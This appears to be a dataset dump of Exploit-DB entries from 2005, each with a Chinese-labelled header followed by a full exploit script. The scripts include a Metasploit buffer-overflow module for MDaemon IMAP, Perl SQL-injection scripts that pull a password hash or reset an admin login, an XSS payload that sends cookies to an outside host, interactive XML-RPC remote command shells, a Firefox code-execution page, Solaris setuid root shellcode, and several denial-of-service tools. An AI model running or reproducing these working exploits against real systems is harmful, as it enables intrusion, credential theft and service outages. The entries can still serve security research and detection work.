QLWD/code_shield huggingface dataset:
标题: MDaemon 8.0.3 - IMAPD CRAM-MD5 Authentication Overflow (Metasploit) EDB-ID: 1151 CVE: 2004-1520 类型: REMOTE 平台: WINDOWS 发布日期: 2005-08-12 漏洞利用脚本: ##
# $Id: mdaemon_cram_md5.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the CRAM-MD5
    authentication of the MDaemon IMAP service. This
    vulnerability was discovered by Muts.
   },
   'Author'         => [ 'anonymous' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2004-1520'],
     [ 'OSVDB', '11838'],
     [ 'BID', '11675'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
    ],
   'DisclosureDate' => 'Nov 12 2004',
   'DefaultTarget' => 0))
 end

 def exploit
  connect

  print_status("Asking for CRAM-MD5 authentication...")
  sock.put("a001 authenticate cram-md5\r\n")
  res = sock.get_once


  print_status("Received CRAM-MD5 answer: #{res.chomp}")
  # Magic no return-address exploitation ninjaness!
  buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
  req = Rex::Text.encode_base64(buf) + "\r\n"
  sock.put(req)
  res = sock.get_once

  print_status("Received authentication reply: #{res.chomp}")
  print_status("Sending LOGOUT to close the thread and trigger an exception")
  sock.put("a002 LOGOUT\r\n")
  res = sock.get_once

  print_status("Received LOGOUT reply: #{res.chomp}")
  select(nil,nil,nil,1)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/1151
标题: Microsoft Windows XP SP2 - 'rdpwd.sys' Remote Kernel Denial of Service EDB-ID: 1143 CVE: 2005-2303 2005-1218 类型: DOS 平台: WINDOWS 发布日期: 2005-08-09 漏洞利用脚本: // get SPIKE here: http://www.immunitysec.com/resources-freesoftware.shtml /str0ke
//
// Windows XP SP2 'rdpwd.sys' Remote Kernel DoS
// 
// Discovered by: 
// Tom Ferris
// tommy[at]security-protocols[dot]com
//
// Tested on:
// Microsoft Windows XP SP2
// 
// Usage (SPIKE) : ./generic_send_tcp 192.168.1.100 3389 remoteass.spk 1 0
// 
// 8/9/2005 Security-Protocols.com
//
// This program is free software; you can redistribute it and/or modify it under 
// the terms of the GNU General Public License version 2, 1991 as published by
// the Free Software Foundation.

s_block_start("packet_1");
s_string_variable("03");
s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A 20 6D 73 74 73 68 61 73 68 3D 41 64 6D 69 6E 69 73 74 72 0D 0A");
s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A");
s_string_variable("");
s_binary("41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41");
s_string_variable("");
s_block_end("packet_1");

s_block_start("packet_2");
s_int_variable(0x0500,5);
s_block_end("packet_2");

s_block_start("packet_3");
s_binary("000002020000");
s_string_variable("");
s_block_end("packet_3");

// milw0rm.com [2005-08-09] URL: https://www.exploit-db.com/exploits/1143
标题: MySQL Eventum 1.5.5 - 'login.php' SQL Injection EDB-ID: 1134 CVE: 2005-2468 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-05 漏洞利用脚本: #!/usr/bin/perl -w
use IO::Socket;
use strict;

print "#################################\n";
print "#  MySQL Eventum <= v1.5.5 SQL Injection PoC  #\n";
print "#   James Bercegay // gulftech.org // 7-28-05      #\n";
print "#################################\n";

my $host = 'localhost';
my $path = '/eventum/login.php';
my $user = '2';
my $port = 80;
my $pass = '';

my @char = ('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

print "[*] Trying $host\n";

OUTER: for ( my $i = 1; $i < 33; $i++ ) 
{
INNER: for ( my $j=0; $j < 16; $j++ )
{
my $used = $char[$j];
my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) || die "[!] Unable to connect to $host\n";

my $post = "cat=login&url=&email=%27+UNION+SELECT+%273355d92c04a3332339b767f9278405ff%27+FROM+eventum_user+WHERE+usr_id=$user+AND+MID(usr_password,$i,1)='$used'%2F*&passwd=dance&Submit=Login";
my $send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n";
$send .= "Connection: Keep-Alive\r\n";
$send .= "Content-type: application/x-www-form-urlencoded\r\n"; 
$send .= "Content-length: ".length($post)."\r\n\r\n";
$send .= "$post\r\n\r\n";

print $sock $send;

while ( my $line = <$sock> )
{
if ( $line =~ /(.*)err=7(.*)/is )
{
$pass .= $used;
print "[+] Char $i is $used\n";
last INNER;
} 
#/if
}
#/while

close($sock);
}
#/for INNER

if ( length($pass) < 1 ) 
{
print "[!] Host not vulnerable!";
exit;
}
}
#/for OUTER

print "[+] Pass hash is $pass\n";
exit;

# milw0rm.com [2005-08-05] URL: https://www.exploit-db.com/exploits/1134
标题: FTPshell Server 3.38 - Remote Denial of Service EDB-ID: 1121 CVE: 2005-2426 类型: DOS 平台: WINDOWS 发布日期: 2005-07-26 漏洞利用脚本: #!/usr/bin/perl
#
# Usage: FTPShell_FTPDOS.pl <ip> <user> <pass>
#        FTPShell_FTPDOS.pl 127.0.0.1 hello moto
#
# FTPshell Server Version 3.38
#
# Download:
# http://www.ftpshell.com/
#
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";

for ($i = 1; $i <= 40; $i++)
{
        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Login \#$i\n";

                Win32::Sleep(300);

                print $socket "USER $ARGV[1]\r\n";

                Win32::Sleep(100);

                print $socket "PASS $ARGV[2]\r\n";

                Win32::Sleep(100);

                print $socket "PORT 127,0,0,1,18,12\r\n";

                Win32::Sleep(100);

                close($socket);
        }
        else
        {
                print "Cannot connect to $ARGV[0]:21\n";
        }
}

# milw0rm.com [2005-07-26] URL: https://www.exploit-db.com/exploits/1121
标题: e107 0.617 - Cross-Site Scripting Remote Cookie Disclosure EDB-ID: 1106 CVE: 2005-2327 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-14 漏洞利用脚本: /*
1) Change milw0rm.com to your domain.com
2) Post the below code into a new message.

Credits to Nick Griffin.

/str0ke
*/

[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


# milw0rm.com [2005-07-14] URL: https://www.exploit-db.com/exploits/1106
标题: BlogTorrent 0.92 - Remote Password Disclosure EDB-ID: 1097 CVE: 2005-2229 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-11 漏洞利用脚本: # Edited for easy info. /str0ke

Software:    BlogTorrent 0.92 <=
Vendor:      http://www.blogtorrent.com/
Author:      LazyCrs && pjphem
Date:        10/07/2005
Type:        Remote/Local User Password Disclosure

#0x03 - POC

http://test/path_of_blog/data/newusers
=
d40:14ae696abdca1688dd577fe486c3981f331457b0d7:Createdi1120957648e5:Email17:email@email4:Hash40:d7b82821fe725305bded2fab9e91ed1e0e6fd93bee

Username (crypt in md5) ->  14ae696abdca1688dd577fe486c3981f331457b0d7
Password  (crypt in md5) ->  d7b82821fe725305bded2fab9e91ed1e0e6fd93bee

#LazyCrs[AT]GMail[DOT]com - pjphem[AT]mybox[DOT]it
#FREE RAFA! FREE RAFA! FREE RAFA!

# milw0rm.com [2005-07-11] URL: https://www.exploit-db.com/exploits/1097
标题: Hosting Controller 0.6.1 HotFix 2.1 - Change Credit Limit EDB-ID: 1096 CVE: 2005-2219 类型: REMOTE 平台: WINDOWS 发布日期: 2005-07-10 漏洞利用脚本: Hi, I'm Soroush Dalili from GSG (GrayHatz Security Group).
Title: Hosting controller program have a security bug in "AccountActions.asp" that an authenticated 
user can change his/her credit and buy some services!

Version: 6.1 HotFix 2.1 and older
Developer url: hostingcontroller.com
Comment: Hosting Controller is an application to manage a host.
Exploit code to proof:
--------------------------------
GET CREDIT<br>Soroush Dalili from GSG<br>
<form action="http://[URL]/Admin/Accounts/AccountActions.asp?ActionType=UpdateCreditLimit" method="post">
<table>
<tr>
<td>Username:</td>
<td><input type="text" name="UserName" value=""></td>
</tr>
<tr>
<td>Description:</td>
<td><input type="text" name="Description" value=""></td>
</tr>
<tr>
<td>FullName:</td>
<td><input type="text" name="FullName" value=""></td>
</tr>
<tr>
<td>AccountDisabled 1,[blank]:</td>
<td><input type="text" name="AccountDisabled" value=""></td>
</tr>
<tr>
<td>UserChangePassword:</td>
<td><input type="text" name="UserChangePassword" value=""></td>
</tr>
<tr>
<td>PassCheck=TRUE,0:</td>
<td><input type="text" name="PassCheck" value="0"></td>
</tr>
<tr>
<td>New Password:</td>
<td><input type="text" name="Pass1" value=""></td>
</tr>
<tr>
<td>DefaultDiscount%:</td>
<td><input type="text" name="DefaultDiscount" value="100"></td>
</tr>
<tr>
<td>CreditLimit:</td>
<td><input type="text" name="CreditLimit" value="99999"></td>
</tr>
</table>
<br><input type="submit">
</form>
<hr><br>

# milw0rm.com [2005-07-10] URL: https://www.exploit-db.com/exploits/1096
标题: Mozilla Firefox 1.0.4 - 'Set As Wallpaper' Code Execution EDB-ID: 1102 CVE: 2005-2262 类型: REMOTE 平台: WINDOWS 发布日期: 2005-07-13 漏洞利用脚本: // Exploit by Michael Krax
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter without validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch file
that shows a directoy listing in a dos box (Windows only).
<br><br>

<div style="position:relative; width:300px; height:250px;">
<img src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="http://www.milw0rm.com/images/logo.png" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
</div>
</div>
</body>

</html>

# milw0rm.com [2005-07-13] URL: https://www.exploit-db.com/exploits/1102
标题: Microsoft Windows - Netman Service Local Denial of Service EDB-ID: 1104 CVE: 2005-2307 类型: DOS 平台: WINDOWS 发布日期: 2005-07-14 漏洞利用脚本: /* Windows Netman Service Local DOS Vulnerability.
 * 
 * By bkbll bkbll#cnhonker.net 2005-7-14 2:49??
 *
 * TESTED ON win2k sp4
 * 
 * ??Netman???svchost.exe -k netsvcs??, ????????,????????:
 * 
 * EventSystem,Irmon,RasMan,NtmsSvc,SENS
 * 
 */
#define _WIN32_DCOM

#include <stdio.h>
#include <stdlib.h>
#include <objbase.h>
#include <unknwn.h>
#include <windows.h>

#pragma comment(lib,"ole32")
    
MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
VCConnectionManagerEnumConnection //: public IDispatch
{
public:
 virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
 virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
 virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
 virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
 virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
 virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
 virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
};
CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};
IID IID_IEnumNetConnection  = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

//???
main(int argc,char **argv)
{
 VCConnectionManagerEnumConnection *clientcall;
 HRESULT hr;
 
 printf("Windows Netman Service Local DOS Vulnerability..\n\n");
 //???
 CoInitializeEx(NULL,COINIT_MULTITHREADED);

 printf("DCOM Client Trying started\n");
 hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);
 if (hr != S_OK)
 {
  printf("CoCreateInstanceEx failed:%d\n",GetLastError());
  return -1;
 }
 printf("Exploit netman service ....\n");
 hr = clientcall->skip(0x80000001);//(void**)&p);
 if(SUCCEEDED(hr))
 {
  printf("Call client proc Success.\n");
 }
 else
  printf("Call client proc failed:%d\n",GetLastError());
 hr = clientcall->Release();
 CoUninitialize();
 printf("Client exited.\n");
 return 1;
}

// milw0rm.com [2005-07-14] URL: https://www.exploit-db.com/exploits/1104
标题: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Command Execution (2) EDB-ID: 1083 CVE: 2005-1921 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-04 漏洞利用脚本: #-------------------------------------------------------#
#                     /|                                #       
#                    | |                                #      
#                    | |                                #      
#       /\   ________| |___                             #       
#      /  \  \_______   __/                             #
#     /    \|\_____  | | _       _  _     _  ()___      #      
#    /  /\  \  ___ \ | |<_>  /  |  |  | || \ || | | |   #       
#   /  /__\  \|   \ || | _  /__ |_ |  | ||_/ || | |_|   #       
#  /  ______  \   | || || |   / |  |  | || \ || |   |   #       
# /  /      \  \  | || || |  /  |_ |_ |_||  \|| | \_|   #       
# \_/       |\_/  | || || | ___ _  _                    #       
#           | |   | || /| |  | |  | ||\/|               #       
#            \|    \||/  \|  | |_ |_||  |               #       
#                            | |  | ||  |               #       
#                            | |_ | ||  |               #       
#                                                       #
#         Original advisory by http://gulftech.org/     #
#         Exploit coded by dukenn (http://asteam.org)   #
#                                                       # 
#-------------------------------------------------------

#!/usr/bin/perl

use IO::Socket;

print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";

if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $xml = $ARGV[1];
 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
 while (1) {
    print '['.$host.']# ';
    $cmd = <STDIN>;
    chop($cmd);
    last if ($cmd eq 'exit');
    $xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
    print $sock "POST ".$xml." HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Content-Type: text/xml\n";
    print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
    $good=0;
    while ($ans = <$sock>)
       {
        if ($good == 1) { print "$ans"; }
        last if ($ans =~ /^_end_/);
        if ($ans =~ /^_begin_/) { $good = 1; }
       }
      if ($good==0) {print "Exploit Failed\n";exit();}
   }
 }
else {
 print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
 print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}

# milw0rm.com [2005-07-04] URL: https://www.exploit-db.com/exploits/1083
标题: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Command Execution (3) EDB-ID: 1084 CVE: 2005-1921 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-04 漏洞利用脚本: #!/usr/bin/perl -w
# ********************************************************
# XML-RPC Remote Command Execution Exploit By Mike Rifone
# ********************************************************
# This works on da phpxmlrpc, and da PEAR XML_RPC too! All
# you need is to put the url to the server and u get shell
# Dis is my first exploit but hey it works :D ~Mike@Rifone
# ********************************************************

use LWP::UserAgent;

$brws = new LWP::UserAgent;
$brws->agent("Internet Explorer 6.0");

$host = $ARGV[0]; 

if ( !$host ) 
{ 
 die("Usage: xmlrpcexec.pl http://pathto/xmlrpcserver"); 
}

while ( $host ) 
{

 print "xmlrpc\@\#";
 
 $exec = <STDIN>; 
 $data = "<?xml version=\"1.0\"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$exec'); die; /*</name></value></param></params></methodCall>";
 
 $send = new HTTP::Request POST => $host;
 $send->content($data);
 $gots = $brws->request($send); 
 $show = $gots->content;
 
 if ( $show =~ /<b>([\d]{1,10})<\/b><br \/>(.*)/is )
 {
     print $2 . "\n";
 }
 else
 {
  print "$show\n";
 }


}

# milw0rm.com [2005-07-04] URL: https://www.exploit-db.com/exploits/1084
标题: Solaris 9/10 - 'ld.so' Local Privilege Escalation (2) EDB-ID: 1074 CVE: 2005-2072 类型: LOCAL 平台: SOLARIS 发布日期: 2005-06-28 漏洞利用脚本: /* 
Solaris 9 on SPARC: 

$ cat dupa.c
*/

char sh[] =
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c
$ export LD_AUDIT=/tmp/dupa.so
$ ping
# id
uid=0(root) gid=100(student)
*/

// milw0rm.com [2005-06-28] URL: https://www.exploit-db.com/exploits/1074
标题: ASPNuke 0.80 - 'article.asp' SQL Injection EDB-ID: 1070 CVE: 2005-2067 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-27 漏洞利用脚本: #!/usr/bin/perl
######################################################################################
#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
######################################################################################
# EXPLOIT FOR: ASPNuke ASP Portal
#
# Expl0it By: mh_p0rtal@Yahoo.com
#
# Discovered By: Trap-Set Underground Hacking Team (oil_KarchacK)
#
######################################################################################
#  GR33tz T0 ==>    Alpha_programmer  --  oil_Karchack  --  the_CephaleX  -- Str0ke
#  And Iranian Security & Technical Sites:
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team , Hat-squad security team  & Simorgh-ev Security Team
######################################################################################
use IO::Socket;

if (@ARGV < 1)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By mh_p0rtal --\n\n";
 print "     Trap-Set Underground Hacking Team      \n\n";
 print "         Usage:ASPNuke.pl <T4rg3t> \n\n";
 print "==========================================\n\n";
 print "Examples:\n\n";
 print "   ASPNuke.pl www.Site.com \n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "[+]C0nn3cted\n";

$addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n";
$addr .= "Host: $host\n\n\n\n";
print "\n";
print $remote $addr;
print "[+]Wait...";
sleep(5);
print "Wait For Changing Password ...\n";

print "[+]OK , Now Login With : \n";
print "Username: trapset\n";
print "Password: trapset\n\n";


# milw0rm.com [2005-06-27] URL: https://www.exploit-db.com/exploits/1070